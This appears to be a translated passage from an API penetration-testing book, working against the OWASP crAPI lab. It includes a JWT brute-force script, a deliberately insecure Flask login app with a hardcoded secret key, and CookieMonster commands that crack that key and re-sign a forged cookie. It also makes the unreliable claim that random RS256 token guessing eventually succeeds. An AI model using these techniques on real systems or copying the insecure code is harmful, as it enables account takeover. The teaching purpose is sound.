一些 API 返回 JSON 结构,而其他的则倾向于在发送响应给请求者之前,将响应编码为 XML。事实上,XML 曾经是多年内首选的数据传输格式,因为它具有灵活性和强大功能。然而,这些优势也带来了缺点。XML 结构越复杂,越容易受到攻击。写得不好的 XML 解析器可能导致应用程序意外崩溃,甚至更糟,导致数据暴露或泄漏。
但是首先,什么是架构?就像数据库中的架构一样,API 架构是用于定义 API 内数据结构的元数据。换句话说,当请求和接收这些请求的响应时,你可以提前知道期望哪些组件,以及它们使用的数据类型。这对于某些操作特别重要:模糊测试。
到目前为止我们还没有讨论过这个问题,但从一般意义上来说,模糊测试(fuzzing)是通过生成随机字符序列作为输入,进行不同的系统交互。在我们的例子中,系统是一个 API 端点。在了解其架构和数据结构后,你可以通过发送例如符号到期望日期的字段,或者字母到承载数量的字段来测试 API。或者,你可以参考一个不属于数据结构的结构,比如列表或数组,然后检查端点的行为。当应用程序写得很好时,抗模糊测试的应用会简单地忽略这些数据,并可选择性地抛出警告或错误信息,说明提供了一个损坏的输入。
让我们做些练习。利用我们的 crAPI 部署和 Postman,发送几个请求并验证其响应。crAPI 期望输入为 JSON,并返回一个 JSON 结构的响应。crAPI 已经在其仓库中提供了一个方便的 Postman 请求集合。让我们看看当我们发送与 JSON 不同的内容时会发生什么。首先,我们需要登录以获取授权令牌。这是我们的初步测试。让我们把 JSON 部分换成,比如说,XML 格式:
<?xml version="1.0" encoding="UTF-8"?>
<email>{{email}}</email>
<password>{{password}}</password>
{{email}} 和 {{password}} 注释是 Postman 用来表示变量的约定。我在我的 Postman 集合中创建了变量来存储我的登录名和密码,这样每次需要登录时就不必重新输入。我对授权令牌做了同样的处理。那么,在这个初步测试中,crAPI 根本没有返回任何内容。让我们继续进行,并以正确的方式登录,输入一个 JSON 数据结构。我们刚刚收到了令牌。
还有另一个端点是通过 POST 方法访问的。它叫做 Signup example.com。它期望请求体包含以下内容:
{
"name": "{{name}}",
"email": "{{email}}",
"number": "{{phone}}",
"password": "{{password}}"
}
当你发送期望的格式,比如电子邮件地址和作为电话号码的数字序列时,API 会做出如下响应:
{
"message": "User registered successfully! Please Login.",
"status": 200
}
然而,如果我们发送一些稍微不同的内容,比如这样:
{
"name": "{{name}}",
"email": "304laskdf))(&)&)*",
"number": "asdf98asd09fans2#$%@#$%",
"password": "{{password}}"
}
看起来 crAPI 确实在某种程度上验证了输入,但不是以一种很好的方式:
{
"message": "Validation Failed",
"details":
"org.springframework.validation.BeanPropertyBindingResult: 2 errors\nField error in object 'signUpForm' on field 'number': rejected value [asdf98asd09fans2#$%@#$%]; codes [Size.signUpForm.number,Size.number,Size.java.lang.String,Size]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [signUpForm.number,number]; arguments []; default message [number],15,0]; default message [size must be between 0 and 15]\nField error in object 'signUpForm' on field 'email': rejected value [304laskdf))(&)&)*]; codes [Email.signUpForm.email,Email.email,Email.java.lang.String,Email]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [signUpForm.email,email]; arguments []; default message [email],[Ljavax.validation.constraints.Pattern$Flag;@5319e7,.*]; default message [must be a well-formed email address]"
}
通过这个简单的测试,我们发现了几件事:
-
crAPI 肯定使用了一些 Java 的变种作为其后端。
-
邮箱和电话在某种程度上是经过验证的,但错误看起来像是异常。
-
电话号码的最大长度为 15 个字符。
当你验证身份容器的日志时,你会发现以下异常:
2023-12-28 18:34:17.934 DEBUG 8 --- [nio-8080-exec-9] o.s.web.method.HandlerMethod : Could not resolve parameter [0] in public org.springframework.http.ResponseEntity<com.crapi.model.CRAPIResponse> com.crapi.controller.AuthController.registerUser(com.crapi.model.SignUpForm): JSON parse error: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value; nested exception is com.fasterxml.jackson.databind.JsonMappingException: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value
at [Source: (PushbackInputStream); line: 1, column: 205] (through reference chain: com.crapi.model.SignUpForm["email"])
2023-12-28 18:34:17.934 DEBUG 8 --- [nio-8080-exec-9] .m.m.a.ExceptionHandlerExceptionResolver : Using @ExceptionHandler com.crapi.exception.ExceptionHandler#handleException(Exception, WebRequest)
2023-12-28 18:34:17.935 DEBUG 8 --- [nio-8080-exec-9] o.s.w.s.m.m.a.HttpEntityMethodProcessor : Using 'application/octet-stream', given [*/*] and supported [*/*]
2023-12-28 18:34:17.935 DEBUG 8 --- [nio-8080-exec-9] .m.m.a.ExceptionHandlerExceptionResolver : Resolved [org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value; nested exception is com.fasterxml.jackson.databind.JsonMappingException: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value<LF> at [Source: (PushbackInputStream); line: 1, column: 205] (through reference chain: com.crapi.model.SignUpForm["email"])]
至此,我们已经完成了关于 API 侦察和信息收集的章节。
总结
本章涵盖了你在进行 API 渗透测试过程中必须了解的重要主题。你学到的第一步是必须从收集目标的信息和进行侦查开始。在正确识别并枚举 API 后,你学会了必须仔细阅读其文档,找出它公开的端点。这可能会揭示出有价值的信息,正如你所学到的。此外,你还学会了可以利用一组非常有用的技术,称为 OSINT,这些技术被法医调查人员和爱好者广泛应用。章节最后有一部分补充内容,介绍了 API 数据和架构结构在这一阶段的重要性。
在下一章,你将学习如何在进行 API 渗透测试时,更深入地探索身份验证和授权阶段。本章简要介绍了这一话题,但我们将在下一章深入分析并进行更多测试。
进一步阅读
-
VirtualBox 类型 2 虚拟机管理程序:
www.virtualbox.org/ -
UTM 类型 2 虚拟机管理程序:
mac.getutm.app/ -
Podman,Docker 的超集:
podman.io/ -
OWASP WebGoat 漏洞 Web 应用程序:
owasp.org/www-project-webgoat/ -
OWASP crAPI 漏洞 API:
owasp.org/www-project-crapi/ -
Zed Attack Proxy 扫描器:
www.zaproxy.org/ -
Shodan,一个物联网漏洞搜索引擎:
www.shodan.io/ -
Fiddler,一个网络分析工具:
www.telerik.com/fiddler/fiddler-everywhere -
Wireshark,最著名的网络数据包捕获工具之一:
www.wireshark.org/ -
APIs Guru,一个不错的 API 文档列表:
apis.guru/ -
ReDoc,构建和阅读 API 文档的工具:
github.com/Redocly/redoc -
Swagger UI,构建和阅读 API 文档的工具:
github.com/swagger-api/swagger-ui -
建立 HTTP 规范的 RFC:
datatracker.ietf.org/doc/html/rfc2616#page-31 -
讨论 OSINT 市场增长的报告:
www.businessresearchinsights.com/market-reports/open-source-intelligence-market-109546 -
ExploitDB Google Dorks,一个包含 OSINT 小抄的列表:
www.exploit-db.com/google-hacking-database/ -
OSINT 框架,一个关于 OSINT 的工具和资源广泛列表:
osintframework.com/ -
Google Dork 备忘单,更多关于 OSINT 的资源:
gist.github.com/ikuamike/c2611b171d64b823c1c1956129cbc055 -
用于自动化 crAPI 请求的 crAPI Postman 集合:
github.com/OWASP/crAPI/tree/develop/postman_collections
第四章:认证与授权测试
假设你已经阅读了上一章或者对应用程序编程接口(API)侦察有所了解,现在是时候深入进行 API 渗透测试了。在上一章中,我们通过访问属于其他用户的对象中的数据来完成了一个 crAPI 挑战。这些数据应该受到保护,但 crAPI 没有正确地执行。这是一个授权缺陷。
我们需要调查 API 如何建立其最基本的安全机制,即如何认证和授权用户。我们将使用术语AuthN来指代认证,使用AuthZ来指代授权,以便简化这些词汇;这在文献中是一个常见做法。弱认证机制通常可以在我们工作初期发现,这一部分内容在上一章已经讲解过。经过一些交互和分析后,我们可以发现 API 所应用的数据结构,然后发现弱授权控制。
在本章中,你将更深入地学习这两个话题,不仅分析它们如何被 API 展示,还将理解配置和实施它们的最佳实践,以保护应用环境。弱或实现不当的认证和/或授权防护措施可能会危及整个应用程序,而不仅仅是 API。
在本章中,我们将讨论以下主要话题:
-
审查认证机制
-
测试弱凭证和默认账户
-
探索授权机制
-
绕过访问控制
技术要求
我们将利用与第三章中描述的相同环境。总的来说,你需要一个类型 2 的虚拟化管理程序,如 VirtualBox,以及我们之前使用的相同工具,特别是 crAPI 项目。
审查认证机制
网络上有许多 API 在不需要前期认证的情况下工作,主要用于只读操作。一个典型的例子是综合知识档案网络(CKAN)框架(ckan.org/)。这是一个开源项目,旨在帮助企业和政府在互联网上发布数据。整个框架使用 Python 编写,具有一个 RESTful API,支持读写操作。由于 CKAN 被设计用来帮助开放数据倡议,因此拥有对其所提供的数据的读取访问权限是预期中的。
也有不少 API 端点不需要认证(AuthN)。在上一章中,我们提到了 OSINT Framework,这是一个策划其他开源情报(OSINT)网站、工具和博客的列表网站。你会发现一些工具,例如 IP 位置和地理位置查询,它们完全免费且不需要事先认证就能在互联网上使用。在这种情况下,仅允许读取操作,服务提供者应保护其后台,防止未经授权的数据访问尝试。
迟早,API 可能需要一种认证机制(AuthN)。我们将逐一解释不同的认证机制。目前,以下是实现 API 时最常见的几种认证方式,特别是 RESTful API:
-
API 密钥:为应用程序颁发的唯一标识符,用于认证(AuthN)。公共云提供商可能会给你一到两个这样的密钥,以便你在通过 API 与提供商交互时能够识别自己(或某些代码)。
-
基础认证(Basic AuthN):通过 Base64 编码传输用户名和密码(不推荐用于敏感数据)。许多人仍然将编码与加密混淆。即使文本看起来像是完全无意义的,单纯的编码数据并没有安全性。即便基本认证是在加密通道上进行的,如 TLS 连接,仍应尽量避免使用这种方式。
-
OAuth:一种开放标准,用于授权(AuthZ),在不共享凭据的情况下委托访问。也称为持有者令牌(bearer token),OAuth 2.0 提供了基于令牌的认证机制(AuthN)。客户端从授权服务器获取令牌,并将其包含在 API 请求中。OpenID Connect(OIDC)是建立在 OAuth 之上的认证层(AuthN)。OIDC 通过添加身份层增强了 OAuth,使客户端能够验证最终用户的身份。
-
会话令牌:用于在初次登录后维持已认证状态。它们像是登录后生成的临时密钥,存储在你的浏览器或网站代码中。它们在不需要频繁登录的情况下帮助你在在线平台上进行身份识别,同时提供便利和安全性。
-
JSON Web 令牌(JWTs):自包含的令牌,携带用户信息和声明。这是一种紧凑、URL 安全的方式,用于表示两个方之间的声明。它们通常作为持有者令牌(bearer tokens)用于认证(AuthN)。JWTs 常通过请求头或查询参数传递。
让我们深入探讨这些方法的细节。
API 密钥
API 密钥是一种身份验证(AuthN)形式,用于控制对 API 的访问。它们是字符字符串,通常由 API 提供商生成,作为令牌来验证和授权客户端(应用程序、用户或其他服务)向 API 服务器发送的请求。它们是唯一的字符字符串,充当数字标识符,允许应用程序访问 API。它们作为基本的身份验证机制,确保只有授权用户才能访问敏感数据或功能。正如前面提到的,这也是公共云提供商在其平台中选择建立身份验证的方式之一,通常在客户编写与 API 交互的应用程序或使用 CLI 工具时实现。
API 密钥可以作为单个密钥或密钥对(更常见)生成。当以密钥对的形式呈现时,其中一个密钥代表登录名/用户名,而另一个则像密码一样工作。这些密钥与实际用户名在内部关联。你可能会问,为什么需要一对额外的凭证,而知名的用户名/密码方法就能解决身份验证(AuthN)问题?其实很简单:虽然一个用户名只能有一个活动密码,但同一个用户名可以有多个附加的 API 密钥,并且这些密钥可以绑定不同的权限(身份授权,AuthZ)。另一个区别在于概念的本质。API 密钥允许应用程序与 API 进行交互,而用户名/密码凭证对则是供人类使用的。
要使用 API 密钥,必须在所有请求中提供它们。处理这些密钥的策略有很多。一些工具将它们存储在明文配置文件中并加载到内存中,而另一些则简单地创建环境变量来存储内容。密钥的存储方式正是发现它们的首选方法。开发人员时不时会将密钥泄露到公共代码库中,或者将其硬编码到 HTML 或 JavaScript 文件中。你可以利用一些工具来帮助你完成这一步骤,以下是一些示例:
-
badsecrets (
github.com/blacklanternsecurity/badsecrets): 用于在多个不同平台上查找密钥的库。 -
Gitleaks (
gitleaks.io/): 可能是最受欢迎的工具,用于在类似 Git 的代码库、目录和文件中查找密钥。 -
KeyFinder (
github.com/momenbasel/KeyFinder): Chrome 扩展程序,用于在浏览网页时查找密钥。 -
Keyhacks (
github.com/streaak/keyhacks): 包含在各种漏洞赏金计划中发现的密钥的公共代码库。帮助你检查这些密钥在计划结束后是否有效。此工具有 ChatGPT Plus 版本:https://chat.openai.com/g/g-JaNIbfsRt-keyhacks-gpt。 -
Mantra (
github.com/MrEmpy/mantra): 在 HTML 和 JavaScript 文件中查找密钥。 -
Nuclei Templates (
github.com/projectdiscovery/nuclei-templates): 你可以使用它对各种 API 端点测试相同的密钥。 -
Secrets Patterns DB (
github.com/mazen160/secrets-patterns-db): 一个正则表达式数据库,可以被其他工具使用,例如 TruffleHog,用于在各种类型的文件中查找密钥、令牌或密码模式。 -
TruffleHog (
github.com/trufflesecurity/truffleHog): 一个瑞士军刀工具,可以在许多地方查找密钥和秘密,包括 GitHub 仓库和容器镜像。
这些工具有的以容器形式运行,有的作为库可以用来增强你自己的代码,有的则是命令行工具。你不会难以找到其他类似的工具,包括 Kali Linux 等渗透测试发行版。让我们先用 TruffleHog 对我的一些个人 GitHub 仓库做一个快速测试。首先,我们将单独使用该工具,然后添加 Secrets Patterns DB。为了使用 Secrets Patterns DB,我们首先需要用它创建一个正则表达式 JSON 模式文件。让我们先运行工具:
$ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/mauricioharley/barbican-operator --issue-comments --pr-comments
TruffleHog. Unearth your secrets.
2024-01-03T12:22:34Z info-0 trufflehog running source {"source_manager_worker_id": "WH1SL", "with_units": false, "target_count": 0, "source_manager_units_configurable": true}
2024-01-03T12:22:34Z info-0 trufflehog Completed enumeration {"num_repos": 1, "num_orgs": 0, "num_members": 0}
2024-01-03T12:22:36Z info-0 trufflehog finished scanning {"chunks": 1056, "bytes": 861040, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "2.502645278s"}
现在,让我们利用 Secrets Pattern DB 并重新运行它:
$ ./convert-rules.py --db ../db/rules-stable.yml --type trufflehog > /tmp/regex.json
$ ./trufflehog github --repo https://github.com/mauricioharley/barbican-operator --include-paths=/tmp/regex.json --issue-comments --pr-comments
TruffleHog. Unearth your secrets.
2024-01-03T14:38:49+01:00 info-0 trufflehog running source {"source_manager_worker_id": "v1HMM", "with_units": false, "target_count": 0, "source_manager_units_configurable": true}
2024-01-03T14:38:49+01:00 info-0 trufflehog Completed enumeration {"num_repos": 1, "num_orgs": 0, "num_members": 0}
2024-01-03T14:38:52+01:00 info-0 trufflehog finished scanning {"chunks": 0, "bytes": 0, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "2.861085032s"}
幸运的是,到目前为止没有发现任何秘密。顺便提一句,在生成上面输出中的 regex.json 文件后,我遇到了一些已填充的正则表达式问题。也许是因为 Secrets Patterns DB 中某些更新丢失了,因为它提到的是 TruffleHog 版本 2,而该工具已经是版本 3。
基本身份验证
这是可能最容易被检测到的 AuthN 方法之一。每次你尝试访问一个网站,浏览器显示一个对话框请求你输入凭证对时,那就是基本身份验证。当一个 Web 客户端访问一个需要基本身份验证的服务器时,所有请求都会提供一个 Authorization 头部,里面包含用户名和密码,中间用冒号分隔,所有内容都经过 Base64 编码。
一个示例请求可能是这样的:
GET /api/v2/list_resources
Authorization: Basic bWF1cmljaW86TXlQYXNzd29yZCNAIQo=
当服务器接收到请求时,进行一个简单的 Base64 解码操作,以检查凭证是否有效。当身份验证通过时,服务器响应请求;否则,发送一个 401 代码表示未授权操作。在这里,还有一些其他因素需要考虑:这样的用户数据库是如何安全存储和处理的?凭证在存储时是否加密?是否有某种哈希或加盐机制来生成或再次验证密码的有效性?
那么,如何识别何时使用这种 AuthN?很简单。第一种方法是通过分析请求。Authorization关键字的存在就能明确表示。响应也可以表明其存在。根据服务器的实现方式,你可能会收到WWW-Authenticate头。最后,如果连接没有通过 TLS 加密保护,任何网络检查工具,如 Wireshark,都会披露 AuthN 类型。一些非常旧的 Web 服务器甚至可能将用户名和密码包含在查询字符串本身中。
攻击基本身份验证(AuthN)环境的一些方式包括通过中间人攻击(MiTM)来进行,尤其是在未应用 TLS 的情况下,或通过暴力破解系统,尝试系统地猜测凭证对,甚至通过社会工程学攻击,如钓鱼攻击。事实上,基本的 AuthN 非常不安全且过时,因此你可能不会在很多 API 端点上看到它。然而,在我撰写本章时进行的一些搜索中,我发现了一些文档,解释了如何配置像 WSO2 这样的产品(apim.docs.wso2.com/en/3.0.0/learn/design-api/endpoints/endpoint-security/basic-auth/)以及 Apigee 的 Edge API(docs.apigee.com/api-platform/system-administration/basic-auth)。令人望而生畏……
OAuth
这可能是当前网络上最常用的 AuthN 机制之一。OAuth 是实现这一点的关键,例如,它允许你登录到你喜欢的游戏平台,而无需创建凭证对,只需利用一些现有的外部凭证,例如你用来访问 Google、Facebook 或 Apple 账户的凭证。
OAuth 至今发布了两个版本。版本 1.0 于 2010 年发布,并引入了基于令牌的 AuthN 核心概念。它依赖于使用加密签名来保护通信。OAuth 2.0 于 2012 年发布,是自那时以来的最新版本。它是 OAuth 1.0 的重要演变,引入了更简化和灵活的授权框架。它依赖于令牌,包括访问令牌和刷新令牌,用于授予访问权限和管理权限。
一些关键组件需要提及:
-
资源所有者:拥有资源的实体,通常是最终用户。
-
客户端:希望访问用户资源的应用程序或服务。
-
授权服务器:管理授权过程,并在成功进行身份验证后发放访问令牌。
-
资源服务器:托管客户端希望访问的受保护资源(例如用户照片)。
-
访问令牌:表示资源所有者授权的凭证。
-
刷新令牌:一种用于在当前访问令牌过期时获取新访问令牌的凭证。
我们可以通过几种方式检测 API 端点是否使用 OAuth。文档是最先要查看的地方,并且可以节省时间。此外,Authorization: Bearer <token> 或 Authorization: Bearer <token type> <token> 的存在也会揭示认证类型。最后,您可以采用通用的 试错 方法,发送一些包含无效令牌的虚拟请求并捕获输出。crAPI 项目没有使用这种方法,而是采用了一种类似的方法,我们将在下一节中讨论。
将 OAuth 应用于 Web 应用程序的目的之一是允许用户使用 单点登录(SSO)。通过在一个地方存储用户的凭证,至少对于用户的数据库来说,这个地方需要特别关注加密保护。然后,通过使用安全的方式传输凭证,相同的用户可以无缝地登录到多个不同的应用程序,而无需每次都提供凭证对。
在 OAuth 架构中,身份提供者(IdP)是负责存储和管理凭证对的元素。OAuth 2.0 规范有几种不同的授权流程(即授予请求访问令牌给请求应用程序的方式)。在与 IdP 集成时,开发者需要在不同的流程之间做出选择:
-
授权码授权(ACG)流程:通常这是最佳选择,因为它包含了双重验证步骤。它需要一个后端服务器,并进行一些 HTTP 302 重定向到重定向端点,提供一些代码。应用程序开发者需要确认 IdP 提供的端点与用户所使用的端点相同。
-
隐式授权流程(IGF):也称为仅客户端流程,这是第二常见的选项。在这种情况下,没有后端服务器。应用程序直接与身份提供者(IdP)通信。用户凭证被提供以获取 OAuth 访问令牌。由于客户端 ID 容易被伪造,因此没有客户端 ID。
-
客户端凭证授权(CCG)流程:这是一个小众的使用场景,通常不常见。CCG 可以在客户端应用程序拥有并使用与服务提供商的资源时使用,这些资源由客户端应用程序本身拥有和消费,而不是由最终用户拥有和消费。在 CCG 流程中,客户端应用程序代表自己请求访问令牌,然后随后使用该访问令牌来访问它所需的受保护资源。
-
密码授权流程:绝对不应该使用此流程。它非常简单,因为只需要通过常规的 POST 请求传递用户名和密码。根据 OAuth 2.0 安全最佳实践(见 进一步 阅读 部分的链接),此方法是不允许的。
有一些 OAuth 配置错误可能导致我们成功攻击利用这种机制的应用程序。客户端 ID 和客户端密钥绝不应暴露给最终用户。它们应该像凭证一样受到保护,因为它们可能允许恶意用户代表合法的应用程序调用身份提供者 (IdP),从而冒充该合法应用程序。对于 OAuth 2.0,仅凭此并不能实现用户冒充,因为攻击者仍然需要获取用户凭证。然而,恶意用户可以构建一个克隆的应用程序,收集用户凭证。通过生成可点击的链接并将其放入论坛或邮件中(这些链接指向攻击者配置了被盗客户端 ID/客户端密钥的后端服务器),此攻击会变得更加容易。
一种针对 OAuth 授权 API 的常见攻击方式是暴力破解。crAPI 并未采用这种机制,但让我们通过一些简单的 Python 代码与车辆部件网站进行交互,看看我们能得到什么。该代码改编自 Tescum (github.com/akimbo7/Tescum),具体如下:
import random, requests, string, time
token_start = "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ"
symbols = string.ascii_letters + string.digits + "_.-"
tries = 1000 # Choose a number at your convenience
wait_time = 50 # Number of ms to wait for before sending the next request
for _ in range(tries):
key = token_start + ''.join(random.choice(symbols) for i in range(464-len(token_start))) # crAPI tokens have 464 bytes.
headers = {'Authorization': f'Bearer {key}'}
r = requests.get(
'http://localhost:8888/workshop/api/shop/products',
headers = headers)
if 'Invalid JWT Token!' in r.text:
print(f"Token FAILED {key}")
print(f"Code: {r.status_code} Message: {r.json()['message']}\n")
else:
print(f"Token OK! {key}")
time.sleep(round(wait_time / 1000))
现在做些解释。这个代码最好像原始版本那样使用线程运行,但在我的测试系统上只成功运行过一次!撇开这个不谈,之前的版本运行良好,我添加了一行睡眠时间来避免过度加载 crAPI 的端点。在一些登录活动中,我发现所有的 bearer token 都以 eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ 开头。因此,我将其分配给一个变量。这部分解码后代表 {"alg":"RS256"},是从 Base64 解码得到的。令牌的其余部分是由字母、数字以及符号 -、. 和 _ 组成的随机序列。某些迭代会生成不太可能有效的令牌,例如以一对下划线结尾的令牌,而其他的则更相似。你可以尝试数千次而没有成功,但最终它会成功。这是一个简单的暴力破解脚本建议。
一些应用程序有更简单的令牌生命周期管理,将令牌存储在本地数据库中,并且从不轮换或过期。虽然这种做法方便,因为它让代码更简洁、更易于维护,但也存在固有的安全问题。根据存储位置的保护程度,这个数据库可能会因为攻击而被泄露或外泄,从而使应用程序所有用户的凭证暴露。令牌不经常轮换也是一个不良习惯,因为某些用户可能会选择以不安全的方式将其本地存储,这将使它们容易受到一些客户端攻击,包括钓鱼攻击的变种。
OAuth 并非绝对安全。 2023 年末,有关 Google OAuth 实现的故障被披露给公众,该公司在被通知后多天未采取进一步的修复措施。 问题出在 Google 如何处理其帐户上的电子邮件地址,允许具有相同域名的不同邮箱提交相同的声明。 解释在这里提供:trufflesecurity.com/blog/google-oauth-is-broken-sort-of/。
会话令牌
会话令牌一直是 Web 安全的基本组成部分,与 Web 应用程序的增长同步发展。 它们的历史可以追溯到在与 Web 服务器的多次交互中安全地维护用户状态的需求。 会话令牌是在成功的 AuthN 之后分配给用户的唯一标识符。 它作为引用存储在服务器上的用户会话数据。 通常,用户登录后会生成会话令牌,并作为 cookie 发送回客户端。 客户端的后续请求包括此令牌,允许服务器识别用户并检索其会话数据。 此机制有助于在无状态的 HTTP 中维护有状态的交互,增强用户体验和安全性。
在典型情况下,用户登录到 Web 应用程序后,会生成一个会话令牌,并安全地存储在服务器上,然后发送到客户端。 这个令牌随后包含在后续的请求中,使服务器能够将请求与特定用户的会话关联起来,并提供个性化内容或维护用户特定的设置。 检测会话令牌的使用涉及检查客户端和服务器之间的通信。 它们通常在 HTTP cookie 中找到,通过名称如session_id或access_token识别。 此外,检查 HTTP 请求的标头可能会显示会话令牌的存在。 让我们通过一个示例 Flask 应用程序观察如何生成这样的令牌:
from flask import Flask, request, session, jsonify
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret_key'
# Dummy user data for authentication
users = {
'user1': {'password': 'pass123', 'role': 'user'},
'admin': {'password': 'adminpass', 'role': 'admin'}
}
@app.route('/')
def home():
if 'username' in session:
return f'Hello, {session["username"]}! Your role is {session["role"]}.'
return 'Welcome to the home page. Please login.'
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
username = data.get('username')
password = data.get('password')
if username in users and users[username]['password'] == password:
session['username'] = username
session['role'] = users[username]['role']
resp = jsonify({'message': 'Login successful!'})
resp.set_cookie('session_token', session['username'])
return resp
else:
return 'Login failed. Check your username and password.'
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('role', None)
resp = jsonify({'message': 'Logout successful!'})
resp.delete_cookie('session_token')
return resp
if __name__ == '__main__':
app.run(debug=True)
您可以通过 Postman 与此应用程序进行交互,或者更简单地使用几个curl命令。 应用程序正在等待 POST 请求作为登录和后续的 GET 请求。 登录体必须以 JSON 格式提供,因此我们需要相应地指示curl。 另外,为了确保会话 cookie 正确地存储在本地,我们使用--cookie-jar选项:
$ curl http://localhost:5000
Welcome to the home page. Please login.
$ curl -X POST -H "Content-Type: application/json" -d '{"username": "user1", "password": "pass123"}' http://localhost:5000/login --cookie-jar cookie.txt
{
"message": "Login successful!"
}
$ curl -b cookie.txt -c cookie.txt http://localhost:5000/
Hello, user1! Your role is user.
$ curl -b cookie.txt -c cookie.txt http://localhost:5000/logout
{
"message": "Logout successful!"
}
cookie.txt文件的内容将如下所示(字体大小缩小以便理解):
#HttpOnly_localhost FALSE / FALSE 0 session eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c
localhost FALSE / FALSE 0 session_token user1
如果未能安全处理,会话令牌容易受到攻击。 常见的攻击包括会话劫持,其中攻击者窃取用户的会话令牌并冒充他们。 会话固定是另一种威胁,涉及攻击者强制用户使用特定的会话令牌。 您可以通过使用首选 Web 浏览器的开发者模式轻松发现某些 API 端点是否使用此机制。 例如,crAPI 不使用它。
在我们提供的这个实现中,cookie 是用应用程序源代码一开始的密钥签名的。有一个非常实用的用 Go 语言编写的工具叫做 CookieMonster(github.com/iangcarroll/cookiemonster),你可以利用它来发现这个密钥。它使用一个默认的字典,但也支持你自己的字典,这赋予了它非常强大的功能。让我们用我们示例应用程序生成的 cookie 进行测试:
$ ./cookiemonster -cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c"
CookieMonster 1.4.0
CookieMonster loaded the default wordlist; it has 38919 entries.
Success! I discovered the key for this cookie with the flask decoder; it is "secret_key".
然后,瞧! 该工具还有一个方便的功能,用于重新签发 cookie,你可以利用它通过创建一个包含相应令牌的 cookie 来绕过 API 的授权(AuthZ)机制,而无需先进行认证。然而,目前它仅适用于 Django 应用程序:
$ ./cookiemonster -cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c"
-resign "My Own Data"
CookieMonster 1.4.0
CookieMonster loaded the default wordlist; it has 38919 entries.
Success! I discovered the key for this cookie with the flask decoder; it is "secret_key".
I resigned this cookie for you; the new one is: TXkgT3duIERhdGE.Za2WiQ.UJu6-KPF2cdDy2bFz6bk3vi-OhY
JSON Web Tokens(JWT)
JWT(JSON Web Tokens)是目前用于在网络上验证和授权应用程序及用户的最现代化方式之一。它们出现在 2010 年代初期,作为对移动领域日益增多的应用程序数量的提案。这一领域天生就有对安全的认证(AuthN)和授权(AuthZ)机制的需求。JWT 与我们之前讨论的其他方法不同,因为它将用户身份与服务器会话解耦。它们提供了一种更安全的方式来将必要的数据传递到不同的系统和应用程序中。
每个 JWT 都有三个部分:
-
头部:包含关于令牌的元数据,包括其格式和签名算法。
-
有效载荷:包含关于用户的实际声明,如用户名、角色和权限。这些数据通常以 JSON 格式进行编码。
-
签名:使用密钥生成的独特加密指纹,确保令牌的完整性和真实性。
当你登录到一个启用了 JWT 的系统时,服务器会生成一个包含你声明的 JWT,并使用一个密钥对其进行签名。这个令牌随后会发送到你的浏览器并安全存储。每次后续请求时,浏览器会自动将令牌发送到服务器。服务器验证签名并解码有效载荷,基于用户的声明授予访问权限。要检测 API 端点中 JWT 的使用,可以检查传入请求的头部。JWT 通常会通过Authorization头部,使用Bearer方案进行传输,如Authorization: Bearer <token>。crAPI 便是如此。此外,API 文档或响应头部可能会包含信息,指示使用 JWT 进行认证(AuthN)。
在处理 JWT 时,有两个工具你应该考虑。第一个是jwt.io/。头部、有效载荷和签名被用不同的颜色突出显示,以便于理解。通过使用 Postman、curl或你的网页浏览器的开发者工具,登录到 crAPI 并获取生成的令牌,作为成功认证尝试的响应(图 4.1)。将其存储在某个地方。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_04_01.jpg
图 4.1 – 成功登录后生成的 crAPI 令牌
将令牌复制到 JWT.io 网站的Encoded部分。这将显示关于令牌的所有细节,包括用于生成它的算法。现在,下载第二个工具 JWT Toolkit v2,地址是github.com/ticarpi/jwt_tool。这是一个 Python 脚本,可以执行与 JWT 相关的多种任务。让我们看看它对我们最近复制的令牌说了什么(部分命令已省略,简化演示):
$ python jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdW...
Token header values:
[+] alg = "RS256"
Token payload values:
[+] sub = "mauricio@domain.com"
[+] role = "user"
[+] iat = 1706051672 ==> TIMESTAMP = 2024-01-24 00:14:32 (UTC)
[+] exp = 1706656472 ==> TIMESTAMP = 2024-01-31 00:14:32 (UTC)
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins
我们可以看到令牌是使用 RS256 签名的,并且其负载中有四个值:sub(通常是用户名)、一个角色和两个时间戳,分别表示令牌的发行时间和过期时间。JWT 可以使用多种算法进行签名,但通常见到的是以下两种方式之一:使用 HS 或不使用 HS。以 HS 开头的 JWT 最容易受到攻击,因为它们是对称签名方法。它们使用基于哈希的消息认证码(HMAC)结合安全哈希算法(SHA)哈希。由于它们是对称方法,在多个对等方相互通信的场景中,保护和共享签名密钥变得更加困难。当然,一旦密钥被泄露,就可以伪造令牌,且 AuthN/AuthZ 系统无法识别与合法令牌的区别。
另一方面,类似 RS 的 JWT 使用Rivest-Shamir-Adleman(RSA)非对称算法,服务器使用私钥签署令牌,并发布相应的公钥以便第三方验证令牌。该系统的安全性取决于用于保护私钥的机制。显然,这些令牌更安全,但由于使用了非对称算法,其生成和验证可能会较慢。
